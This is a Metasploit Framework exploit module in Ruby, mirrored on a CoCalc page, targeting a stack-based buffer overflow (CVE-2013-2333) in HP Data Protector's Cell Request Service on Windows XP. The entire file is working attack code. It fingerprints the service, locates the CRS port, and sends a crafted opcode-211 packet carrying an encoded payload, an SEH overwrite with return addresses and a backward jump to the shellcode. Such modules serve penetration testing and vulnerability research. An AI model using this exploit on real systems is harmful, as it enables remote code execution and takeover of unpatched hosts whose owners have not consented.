CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/hp_dataprotector_crs.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'HP Data Protector Cell Request Service Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack-based buffer overflow in the Hewlett-Packard Data Protector
17
product. The vulnerability, due to the insecure usage of _swprintf, exists at the Cell
18
Request Service (crs.exe) when parsing packets with opcode 211. This module has been tested
19
successfully on HP Data Protector 6.20 and 7.00 on Windows XP SP3.
20
},
21
'Author' =>
22
[
23
'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery
24
'juan vazquez' # Metasploit module
25
],
26
'References' =>
27
[
28
[ 'CVE', '2013-2333' ],
29
[ 'OSVDB', '93867' ],
30
[ 'BID', '60309' ],
31
[ 'ZDI', '13-130' ]
32
],
33
'Privileged' => true,
34
'Payload' =>
35
{
36
'Space' => 4096,
37
'BadChars' => "\x00\xff\x20" # "\x00\x00", "\xff\xff" and "\x20\x00" not allowed
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Automatic', {} ],
43
[ 'HP Data Protector 6.20 build 370 / Windows XP SP3',
44
{
45
'Ret' => 0x00436fe2, # ppr from crs.exe
46
'Offset' => 15578
47
}
48
],
49
[ 'HP Data Protector 7.00 build 72 / Windows XP SP3',
50
{
51
'Ret' => 0x004cf8c1, # ppr from crs.exe
52
'Offset' => 15578
53
}
54
]
55
],
56
'DefaultTarget' => 0,
57
'DisclosureDate' => '2013-06-03'))
58
59
deregister_options('RPORT') # The CRS service runs on a random port
60
end
61
62
def build_pkt(fields)
63
data = "\xff\xfe" # BOM Unicode
64
fields.each do |k, v|
65
if k == "Payload"
66
data << "#{v}\x00\x00"
67
else
68
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
69
end
70
data << Rex::Text.to_unicode(" ") # Separator
71
end
72
73
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
74
data << "\x00\x00" # Ending
75
return [data.length].pack("N") + data
76
end
77
78
def get_fingerprint
79
ommni = connect(false, {'RPORT' => 5555})
80
ommni.put(rand_text_alpha_upper(64))
81
resp = ommni.get_once(-1)
82
disconnect
83
84
if resp.nil?
85
return nil
86
end
87
88
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
89
end
90
91
def get_crs_port
92
93
pkt = build_pkt({
94
"Opcode" => "2",
95
"FakeMachineName" => rand_text_alpha(8),
96
"Unknown1" => "0",
97
"FakeDomainUser" => rand_text_alpha(8),
98
"FakeDomain" => rand_text_alpha(8),
99
"FakeLanguage" => rand_text_alpha(8),
100
"Unknown2" => "15"
101
})
102
ommni = connect(false, {'RPORT' => 5555})
103
ommni.put(pkt)
104
resp = ommni.get_once(-1)
105
disconnect
106
107
if resp.nil?
108
return nil
109
end
110
111
res_length, bom_unicode, res_data = resp.unpack("Nna*")
112
113
fields = res_data.split(Rex::Text.to_unicode(" "))
114
115
opcode = fields[0]
116
port = fields[1]
117
118
if not opcode or not port
119
vprint_error("Unexpected response")
120
return nil
121
end
122
123
opcode = Rex::Text.to_ascii(opcode.chomp("\x00\x00"))
124
125
if opcode != "109"
126
vprint_error("Unexpected opcode #{opcode} in the response")
127
return nil
128
end
129
130
port = Rex::Text.to_ascii(port.chomp("\x00\x00"))
131
return port.to_i
132
end
133
134
def check
135
fingerprint = get_fingerprint
136
137
if fingerprint.nil?
138
vprint_error("Unable to fingerprint")
139
return Exploit::CheckCode::Unknown
140
end
141
142
port = get_crs_port
143
144
if port.nil?
145
vprint_status("HP Data Protector version #{fingerprint}")
146
vprint_error("But CRS port not found")
147
else
148
vprint_status("CRS running on port #{port}/TCP, HP Data Protector version #{fingerprint}")
149
end
150
151
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
152
# More likely to be exploitable
153
return Exploit::CheckCode::Appears
154
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
155
# More likely to be exploitable
156
return Exploit::CheckCode::Appears
157
elsif fingerprint =~ /HP Data Protector A\.07\.00/
158
return Exploit::CheckCode::Appears
159
elsif fingerprint =~ /HP Data Protector A\.07\.01/
160
return Exploit::CheckCode::Appears
161
elsif fingerprint =~ /HP Data Protector A\.06\.20/
162
return Exploit::CheckCode::Appears
163
elsif fingerprint =~ /HP Data Protector A\.06\.21/
164
return Exploit::CheckCode::Appears
165
end
166
167
return Exploit::CheckCode::Safe
168
end
169
170
def get_target
171
fingerprint = get_fingerprint
172
173
if fingerprint.nil?
174
return nil
175
end
176
177
if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/
178
return targets[1]
179
elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/
180
return targets[2]
181
else
182
return nil
183
end
184
end
185
186
def exploit
187
188
if target.name =~ /Automatic/
189
print_status("Trying to find the target version...")
190
my_target = get_target
191
else
192
my_target = target
193
end
194
195
if my_target.nil?
196
fail_with(Failure::NoTarget, "Failed to autodetect target")
197
end
198
199
print_status("Trying to find the CRS service port...")
200
port = get_crs_port
201
if port.nil?
202
fail_with(Failure::NotFound, "The CRS service has not been found.")
203
else
204
print_good("CRS service found on #{port}/TCP")
205
connect(true, {'RPORT' => port})
206
end
207
208
pkt = build_pkt({
209
"Opcode" => "0",
210
"EndPoint" => "GUICORE",
211
"ClientFingerprint" => "HP OpenView OmniBack II A.06.20",
212
"FakeUsername" => rand_text_alpha(8),
213
"FakeDomain" => rand_text_alpha(8),
214
"Unknown1" => "488",
215
"Unknown2" => rand_text_alpha(8)
216
})
217
print_status("Sending packet with opcode 0...")
218
sock.put(pkt)
219
data = sock.get_once(-1)
220
221
if data.nil?
222
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
223
end
224
225
if Rex::Text.to_ascii(data) !~ /NT-5\.1/
226
fail_with(Failure::NoTarget, "Exploit only compatible with Windows XP targets")
227
end
228
229
pkt = build_pkt({
230
"Opcode" => "225"
231
})
232
print_status("Sending packet with opcode 225...")
233
sock.put(pkt)
234
data = sock.get_once(-1)
235
236
if data.nil?
237
fail_with(Failure::Unknown, "Error while communicating with the CRS Service")
238
end
239
240
bof = payload.encoded
241
bof << rand_text(my_target["Offset"] - payload.encoded.length)
242
bof << generate_seh_record(my_target.ret)
243
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{my_target['Offset']+8}").encode_string
244
bof << rand_text(100) # Trigger Exception
245
246
pkt = build_pkt({
247
"Opcode" => "211",
248
"Payload" => bof
249
})
250
print_status("Sending malicious packet with opcode 211...")
251
sock.put(pkt)
252
disconnect
253
end
254
end
255
256